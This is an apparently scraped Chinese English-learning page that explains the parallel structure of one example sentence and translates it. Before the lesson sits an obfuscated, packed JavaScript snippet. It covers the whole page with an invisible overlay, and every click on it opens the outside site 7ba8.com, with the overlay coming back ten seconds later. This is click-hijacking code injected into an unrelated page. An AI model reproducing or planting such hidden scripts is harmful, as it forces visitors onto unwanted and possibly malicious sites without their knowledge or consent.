<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>【阅读难句】平行并列结构----独家分析 by 周晓灿
Millions of people travel about the country by rail, by bus, or by automobile, or drive to and from their places of work and their homes.
解析:
Millions of people travel about the country by rail, by bus, or by automobile, or drive to and from their places of work and their homes.
结构:本句有2个谓语动词,都是并列的主句谓语动词。三个并列的by…, by…, by…作为travel的方式状语。本句可以拆分为:
1) Millions of people travel about the country by rail, by bus, or by automobile.
2) Millions of people drive to and from their places of work and their homes.
翻译:上百万人乘坐火车、公交车或者小汽车在周游全国,或者开车往返于工作地点和家庭处所之间。
选自新浪微博雅思救星
![]() |